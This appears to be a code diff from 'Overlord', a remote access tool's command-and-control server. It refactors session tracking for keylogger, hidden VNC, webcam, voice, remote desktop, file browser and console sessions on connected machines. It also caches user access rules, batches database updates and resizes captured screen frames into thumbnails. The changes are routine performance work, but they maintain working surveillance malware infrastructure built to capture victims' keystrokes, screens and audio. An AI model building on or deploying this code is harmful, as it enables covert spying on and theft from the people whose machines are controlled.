if (!hasSession) {
hasSession = true;
if (type && type !== "command_result" && type !== "command_progress") {
@@ -265,7 +264,7 @@ export function handleProcessViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
const target = clientManager.getClient(clientId);
const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.getAllProcessSessions().set(sessionId, session);
sessionManager.addProcessSession(session);
ws.data.sessionId = sessionId;
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
@@ -305,8 +304,7 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
export function handleProcessMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllProcessSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getProcessSessionsByClient(clientId)) {
safeSendViewer(session.viewer, payload);
}
}
@@ -371,8 +369,7 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, ra
}
export function handleKeyloggerMessage(clientId: string, payload: any) {
for (const session of sessionManager.getAllKeyloggerSessions().values()) {
if (session.clientId !== clientId) continue;
for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) {
safeSendViewer(session.viewer, payload);
}
}
+1 -3
View File
@@ -88,11 +88,9 @@ export function handleVoiceUplink(clientId: string, payload: any) {
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getAllVoiceSessions().values()) {
for (const session of sessionManager.getVoiceSessionsByClient(clientId)) {
if (sessionId) {
if (session.id !== sessionId) continue;
} else if (session.clientId !== clientId) {
continue;
}
try {
session.viewer.send(bytes);
+99 -18
View File
@@ -22,14 +22,19 @@ const consoleSessions = new Map<string, ConsoleSession>();
const rdSessions = new Map<string, RemoteDesktopViewer>();
const webcamSessions = new Map<string, RemoteDesktopViewer>();
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
const consoleSessionsByClient = new Map<string, Set<string>>();
const rdSessionsByClient = new Map<string, Set<string>>();
const webcamSessionsByClient = new Map<string, Set<string>>();
const hvncSessionsByClient = new Map<string, Set<string>>();
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
const processSessions = new Map<string, ProcessViewer>();
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
const processSessionsByClient = new Map<string, Set<string>>();
const notificationSessions = new Map<string, NotificationsViewer>();
const keyloggerSessions = new Map<string, KeyloggerViewer>();
const keyloggerSessionsByClient = new Map<string, Set<string>>();
const voiceSessions = new Map<string, VoiceViewer>();
const voiceSessionsByClient = new Map<string, Set<string>>();
const dashboardSessions = new Map<string, DashboardViewer>();
function addSessionToClientIndex(
@@ -60,6 +65,7 @@ function removeSessionFromClientIndex(
export function addConsoleSession(session: ConsoleSession): void {
consoleSessions.set(session.id, session);
addSessionToClientIndex(consoleSessionsByClient, session.clientId, session.id);
}
export function getConsoleSession(
@@ -69,13 +75,22 @@ export function getConsoleSession(
}
export function deleteConsoleSession(sessionId: string): boolean {
return consoleSessions.delete(sessionId);
const existing = consoleSessions.get(sessionId);
if (!existing) return false;
consoleSessions.delete(sessionId);
removeSessionFromClientIndex(consoleSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getConsoleSessionsByClient(clientId: string): ConsoleSession[] {
return Array.from(consoleSessions.values()).filter(
(s) => s.clientId === clientId,
);
const ids = consoleSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: ConsoleSession[] = [];
for (const id of ids) {
const session = consoleSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllConsoleSessions(): Map<string, ConsoleSession> {
@@ -221,6 +236,7 @@ export function getHvncSessionCount(): number {
export function addFileBrowserSession(session: FileBrowserViewer): void {
fileBrowserSessions.set(session.id, session);
addSessionToClientIndex(fileBrowserSessionsByClient, session.clientId, session.id);
}
export function getFileBrowserSession(
@@ -230,15 +246,24 @@ export function getFileBrowserSession(
}
export function deleteFileBrowserSession(sessionId: string): boolean {
return fileBrowserSessions.delete(sessionId);
const existing = fileBrowserSessions.get(sessionId);
if (!existing) return false;
fileBrowserSessions.delete(sessionId);
removeSessionFromClientIndex(fileBrowserSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getFileBrowserSessionsByClient(
clientId: string,
): FileBrowserViewer[] {
return Array.from(fileBrowserSessions.values()).filter(
(s) => s.clientId === clientId,
);
const ids = fileBrowserSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: FileBrowserViewer[] = [];
for (const id of ids) {
const session = fileBrowserSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllFileBrowserSessions(): Map<string, FileBrowserViewer> {
@@ -247,6 +272,7 @@ export function getAllFileBrowserSessions(): Map<string, FileBrowserViewer> {
export function addProcessSession(session: ProcessViewer): void {
processSessions.set(session.id, session);
addSessionToClientIndex(processSessionsByClient, session.clientId, session.id);
}
export function getProcessSession(
@@ -256,13 +282,22 @@ export function getProcessSession(
}
export function deleteProcessSession(sessionId: string): boolean {
return processSessions.delete(sessionId);
const existing = processSessions.get(sessionId);
if (!existing) return false;
processSessions.delete(sessionId);
removeSessionFromClientIndex(processSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getProcessSessionsByClient(clientId: string): ProcessViewer[] {
return Array.from(processSessions.values()).filter(
(s) => s.clientId === clientId,
);
const ids = processSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: ProcessViewer[] = [];
for (const id of ids) {
const session = processSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllProcessSessions(): Map<string, ProcessViewer> {
@@ -337,6 +372,7 @@ export function safeSendViewerFrame(
export function addKeyloggerSession(session: KeyloggerViewer): void {
keyloggerSessions.set(session.id, session);
addSessionToClientIndex(keyloggerSessionsByClient, session.clientId, session.id);
}
export function getKeyloggerSession(
@@ -346,15 +382,24 @@ export function getKeyloggerSession(
}
export function deleteKeyloggerSession(sessionId: string): boolean {
return keyloggerSessions.delete(sessionId);
const existing = keyloggerSessions.get(sessionId);
if (!existing) return false;
keyloggerSessions.delete(sessionId);
removeSessionFromClientIndex(keyloggerSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getKeyloggerSessionsByClient(
clientId: string,
): KeyloggerViewer[] {
return Array.from(keyloggerSessions.values()).filter(
(s) => s.clientId === clientId,
);
const ids = keyloggerSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: KeyloggerViewer[] = [];
for (const id of ids) {
const session = keyloggerSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllKeyloggerSessions(): Map<string, KeyloggerViewer> {
@@ -363,6 +408,7 @@ export function getAllKeyloggerSessions(): Map<string, KeyloggerViewer> {
export function addVoiceSession(session: VoiceViewer): void {
voiceSessions.set(session.id, session);
addSessionToClientIndex(voiceSessionsByClient, session.clientId, session.id);
}
export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
@@ -370,11 +416,22 @@ export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
}
export function deleteVoiceSession(sessionId: string): boolean {
return voiceSessions.delete(sessionId);
const existing = voiceSessions.get(sessionId);
if (!existing) return false;
voiceSessions.delete(sessionId);
removeSessionFromClientIndex(voiceSessionsByClient, existing.clientId, sessionId);
return true;
}
export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId);
const ids = voiceSessionsByClient.get(clientId);
if (!ids || ids.size === 0) return [];
const sessions: VoiceViewer[] = [];
for (const id of ids) {
const session = voiceSessions.get(id);
if (session) sessions.push(session);
}
return sessions;
}
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
@@ -400,6 +457,30 @@ export function getDashboardSessionCount(): number {
let dashboardBroadcastTimer: ReturnType<typeof setTimeout> | null = null;
const DASHBOARD_DEBOUNCE_MS = 150;
export function notifyDashboardClientEvent(
event: "client_online" | "client_offline" | "client_purgatory",
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
): void {
const msg = JSON.stringify({
type: "client_event",
event,
clientId: info.id,
host: info.host,
user: info.user,
os: info.os,
ip: info.ip,
country: info.country,
ts: Date.now(),
});
for (const [id, session] of dashboardSessions) {
try {
session.viewer.send(msg);
} catch {
dashboardSessions.delete(id);
}
}
}
export function notifyDashboardViewers(): void {
if (dashboardBroadcastTimer) return;
dashboardBroadcastTimer = setTimeout(() => {
+53 -8
View File
@@ -1,5 +1,15 @@
import sharp from "sharp";
const THUMBNAIL_WIDTH = Math.max(64, Number(process.env.OVERLORD_THUMBNAIL_WIDTH || 1920));
const THUMBNAIL_HEIGHT = Math.max(48, Number(process.env.OVERLORD_THUMBNAIL_HEIGHT || 1080));
const THUMBNAIL_QUALITY = Math.min(90, Math.max(40, Number(process.env.OVERLORD_THUMBNAIL_QUALITY || 72)));
const MAX_THUMBNAIL_SOURCE_BYTES = Math.max(
256 * 1024,
Number(process.env.OVERLORD_THUMBNAIL_MAX_SOURCE_BYTES || 16 * 1024 * 1024),
);
const thumbnails = new Map<string, string>();
const latestFrames = new Map<string, { bytes: Uint8Array; format: string }>();
const latestFrames = new Map<string, { bytes: Uint8Array; format: string; capturedAt: number }>();
const thumbnailRequests = new Map<string, number>();
export function setThumbnail(id: string, dataUrl: string) {
@@ -17,20 +27,55 @@ export function clearThumbnail(id: string) {
}
export function setLatestFrame(id: string, bytes: Uint8Array, format: string) {
latestFrames.set(id, { bytes, format });
if (!bytes || bytes.byteLength === 0 || bytes.byteLength > MAX_THUMBNAIL_SOURCE_BYTES) {
latestFrames.delete(id);
return;
}
latestFrames.set(id, { bytes, format, capturedAt: Date.now() });
}
export function generateThumbnail(id: string): boolean {
async function buildThumbnailDataUrl(bytes: Uint8Array, format: string): Promise<string | null> {
if (!bytes || bytes.byteLength === 0) {
return null;
}
const inputFormat = format === "jpg" ? "jpeg" : format;
if (!["jpeg", "webp"].includes(inputFormat)) {
return null;
}
const output = await sharp(Buffer.from(bytes), { failOn: "none" })
.rotate()
.resize({
width: THUMBNAIL_WIDTH,
height: THUMBNAIL_HEIGHT,
fit: "inside",
withoutEnlargement: true,
fastShrinkOnLoad: true,
})
.webp({ quality: THUMBNAIL_QUALITY })
.toBuffer();
return `data:image/webp;base64,${output.toString("base64")}`;
}
export async function generateThumbnail(id: string): Promise<boolean> {
const frameData = latestFrames.get(id);
if (!frameData) {
return false;
}
const { bytes, format } = frameData;
const b64 = Buffer.from(bytes).toString("base64");
const mime = format === "webp" ? "image/webp" : "image/jpeg";
thumbnails.set(id, `data:${mime};base64,${b64}`);
return true;
try {
const dataUrl = await buildThumbnailDataUrl(frameData.bytes, frameData.format);
if (!dataUrl) {
return false;
}
thumbnails.set(id, dataUrl);
latestFrames.delete(id);
return true;
} catch {
return false;
}
}
export function markThumbnailRequested(id: string) {
+84 -18
View File
@@ -44,6 +44,15 @@ export interface UserClientAccessRule {
access: ClientAccessRuleKind;
}
type UserAccessCacheEntry = {
scope: ClientAccessScope;
allow: Set<string>;
deny: Set<string>;
};
const userAccessCache = new Map<number, UserAccessCacheEntry>();
let notificationDeliveryCache: UserDeliveryRow[] | null = null;
db.exec(`
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
@@ -207,10 +216,7 @@ export function listUsers(): UserInfo[] {
}
export function getUserClientAccessScope(userId: number): ClientAccessScope {
const row = db
.prepare("SELECT client_scope FROM users WHERE id = ?")
.get(userId) as { client_scope?: ClientAccessScope } | undefined;
return row?.client_scope || "none";
return getUserAccessCacheEntry(userId).scope;
}
export function listUserClientAccessRules(userId: number): UserClientAccessRule[] {
@@ -225,12 +231,54 @@ export function listUserClientRuleIdsByAccess(
userId: number,
access: ClientAccessRuleKind,
): string[] {
return db
const entry = getUserAccessCacheEntry(userId);
const values = access === "allowlist" ? [] : access === "allow" ? entry.allow : entry.deny;
return Array.from(values).sort((left, right) => left.localeCompare(right));
}
function invalidateUserAccessCache(userId?: number): void {
if (userId === undefined) {
userAccessCache.clear();
return;
}
userAccessCache.delete(userId);
}
function invalidateNotificationDeliveryCache(): void {
notificationDeliveryCache = null;
}
function getUserAccessCacheEntry(userId: number): UserAccessCacheEntry {
const cached = userAccessCache.get(userId);
if (cached) {
return cached;
}
const row = db
.prepare("SELECT client_scope FROM users WHERE id = ?")
.get(userId) as { client_scope?: ClientAccessScope } | undefined;
const rules = db
.prepare(
"SELECT client_id as clientId FROM user_client_access_rules WHERE user_id = ? AND access = ? ORDER BY client_id ASC",
"SELECT client_id as clientId, access FROM user_client_access_rules WHERE user_id = ?",
)
.all(userId, access)
.map((row: { clientId: string }) => row.clientId);
.all(userId) as Array<{ clientId: string; access: ClientAccessRuleKind }>;
const entry: UserAccessCacheEntry = {
scope: row?.client_scope || "none",
allow: new Set<string>(),
deny: new Set<string>(),
};
for (const rule of rules) {
if (rule.access === "allow") {
entry.allow.add(rule.clientId);
} else if (rule.access === "deny") {
entry.deny.add(rule.clientId);
}
}
userAccessCache.set(userId, entry);
return entry;
}
export function setUserClientAccessScope(
@@ -243,6 +291,7 @@ export function setUserClientAccessScope(
try {
db.prepare("UPDATE users SET client_scope = ? WHERE id = ?").run(scope, userId);
invalidateUserAccessCache(userId);
return { success: true };
} catch (err: any) {
logger.error("[users] setUserClientAccessScope error:", err);
@@ -267,6 +316,7 @@ export function setUserClientAccessRule(
db.prepare(
"INSERT OR REPLACE INTO user_client_access_rules (user_id, client_id, access, created_at) VALUES (?, ?, ?, ?)",
).run(userId, normalizedClientId, access, Date.now());
invalidateUserAccessCache(userId);
return { success: true };
} catch (err: any) {
logger.error("[users] setUserClientAccessRule error:", err);
@@ -283,6 +333,7 @@ export function removeUserClientAccessRule(
userId,
clientId,
);
invalidateUserAccessCache(userId);
return { success: true };
} catch (err: any) {
logger.error("[users] removeUserClientAccessRule error:", err);
@@ -297,21 +348,16 @@ export function canUserAccessClient(
): boolean {
if (role === "admin") return true;
const scope = getUserClientAccessScope(userId);
const access = getUserAccessCacheEntry(userId);
const scope = access.scope;
if (scope === "none") return false;
if (scope === "all") return true;
const row = db
.prepare(
"SELECT access FROM user_client_access_rules WHERE user_id = ? AND client_id = ?",
)
.get(userId, clientId) as { access?: ClientAccessRuleKind } | undefined;
if (scope === "allowlist") {
return row?.access === "allow";
return access.allow.has(clientId);
}
if (scope === "denylist") {
return row?.access !== "deny";
return !access.deny.has(clientId);
}
return false;
}
@@ -383,6 +429,8 @@ export async function createUser(
)
.run(username, passwordHash, role, Date.now(), createdBy, role === "admin" ? "all" : "none", role === "admin" || role === "operator" ? 1 : 0);
invalidateNotificationDeliveryCache();
return { success: true, userId: result.lastInsertRowid as number };
} catch (err: any) {
logger.error("[users] Create user error:", err);
@@ -429,6 +477,8 @@ export function updateUserRole(
nextScope,
userId,
);
invalidateUserAccessCache(userId);
invalidateNotificationDeliveryCache();
return { success: true };
} catch (err: any) {
console.error("[users] Update role error:", err);
@@ -451,6 +501,8 @@ export function deleteUser(userId: number): {
try {
db.prepare("DELETE FROM users WHERE id = ?").run(userId);
invalidateUserAccessCache(userId);
invalidateNotificationDeliveryCache();
return { success: true };
} catch (err: any) {
console.error("[users] Delete user error:", err);
@@ -538,6 +590,7 @@ export function setUserTelegramChatId(
): { success: boolean; error?: string } {
try {
db.prepare("UPDATE users SET telegram_chat_id = ? WHERE id = ?").run(chatId, userId);
invalidateNotificationDeliveryCache();
return { success: true };
} catch (err: any) {
logger.error("[users] setUserTelegramChatId error:", err);
@@ -622,6 +675,7 @@ export function updateUserNotificationSettings(
try {
values.push(userId);
db.prepare(`UPDATE users SET ${fields.join(", ")} WHERE id = ?`).run(...values);
invalidateNotificationDeliveryCache();
return { success: true };
} catch (err: any) {
logger.error("[users] updateUserNotificationSettings error:", err);
@@ -644,7 +698,11 @@ export interface UserDeliveryRow {
}
export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
return db
if (notificationDeliveryCache) {
return notificationDeliveryCache;
}
notificationDeliveryCache = db
.prepare(
`SELECT id, username, role, client_scope,
webhook_enabled, webhook_url, webhook_template,
@@ -655,4 +713,12 @@ export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
AND telegram_chat_id IS NOT NULL AND telegram_chat_id != '')`,
)
.all() as UserDeliveryRow[];
return notificationDeliveryCache;
}
export function getUsersForNotificationDeliveryByClient(clientId: string): UserDeliveryRow[] {
return getUsersForNotificationDelivery().filter((user) =>
canUserAccessClient(user.id, user.role, clientId),
);
}
+52 -7
View File
@@ -14,6 +14,48 @@ import { metrics } from "./metrics";
const MAX_PING_RTT_MS = 15_000;
const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
const lastClientDbSync = new Map<string, number>();
const pendingClientDbUpdates = new Map<
string,
Partial<ClientInfo> & {
id: string;
lastSeen?: number;
online?: number;
}
>();
function queueClientDbUpdate(
partial: Partial<ClientInfo> & {
id: string;
lastSeen?: number;
online?: number;
},
): void {
const existing = pendingClientDbUpdates.get(partial.id);
if (!existing) {
pendingClientDbUpdates.set(partial.id, { ...partial });
return;
}
pendingClientDbUpdates.set(partial.id, {
...existing,
...partial,
id: partial.id,
lastSeen: partial.lastSeen ?? existing.lastSeen,
online: partial.online ?? existing.online,
pingMs: partial.pingMs ?? existing.pingMs,
});
}
function flushQueuedClientDbUpdates(): void {
if (pendingClientDbUpdates.size === 0) {
return;
}
for (const update of pendingClientDbUpdates.values()) {
upsertClientRow(update);
}
pendingClientDbUpdates.clear();
}
setInterval(flushQueuedClientDbUpdates, CLIENT_DB_SYNC_INTERVAL_MS);
function shouldSyncClientToDb(clientId: string, now: number): boolean {
const last = lastClientDbSync.get(clientId) || 0;
@@ -26,6 +68,7 @@ function shouldSyncClientToDb(clientId: string, now: number): boolean {
export function clearClientSyncState(clientId: string): void {
lastClientDbSync.delete(clientId);
pendingClientDbUpdates.delete(clientId);
}
export function handleHello(
@@ -81,7 +124,7 @@ export function handlePing(info: ClientInfo, payload: WireMessage, ws: any) {
info.lastSeen = now;
info.online = true;
if (shouldSyncClientToDb(info.id, now)) {
upsertClientRow({
queueClientDbUpdate({
id: info.id,
lastSeen: info.lastSeen,
online: 1,
@@ -136,7 +179,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
if (rtt >= 0 && rtt < maxRttMs) {
info.pingMs = rtt;
upsertClientRow({
queueClientDbUpdate({
id: info.id,
pingMs: info.pingMs,
lastSeen: info.lastSeen,
@@ -147,7 +190,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
metrics.recordPing(rtt);
} else {
if (shouldSyncClientToDb(info.id, nowTs)) {
upsertClientRow({
queueClientDbUpdate({
id: info.id,
lastSeen: info.lastSeen,
online: 1,
@@ -192,14 +235,16 @@ export function handleFrame(info: ClientInfo, payload: any) {
if (safeFormat) {
const now = Date.now();
setLatestFrame(info.id, bytes, safeFormat);
if (consumeThumbnailRequest(info.id) || !getThumbnail(info.id)) {
generateThumbnail(info.id);
const thumbnailRequested = consumeThumbnailRequest(info.id);
const hasThumbnail = Boolean(getThumbnail(info.id));
if (thumbnailRequested || !hasThumbnail) {
setLatestFrame(info.id, bytes, safeFormat);
void generateThumbnail(info.id);
}
info.lastSeen = now;
info.online = true;
if (shouldSyncClientToDb(info.id, now)) {
upsertClientRow({ id: info.id, lastSeen: now, online: 1 });
queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1 });
}
}
}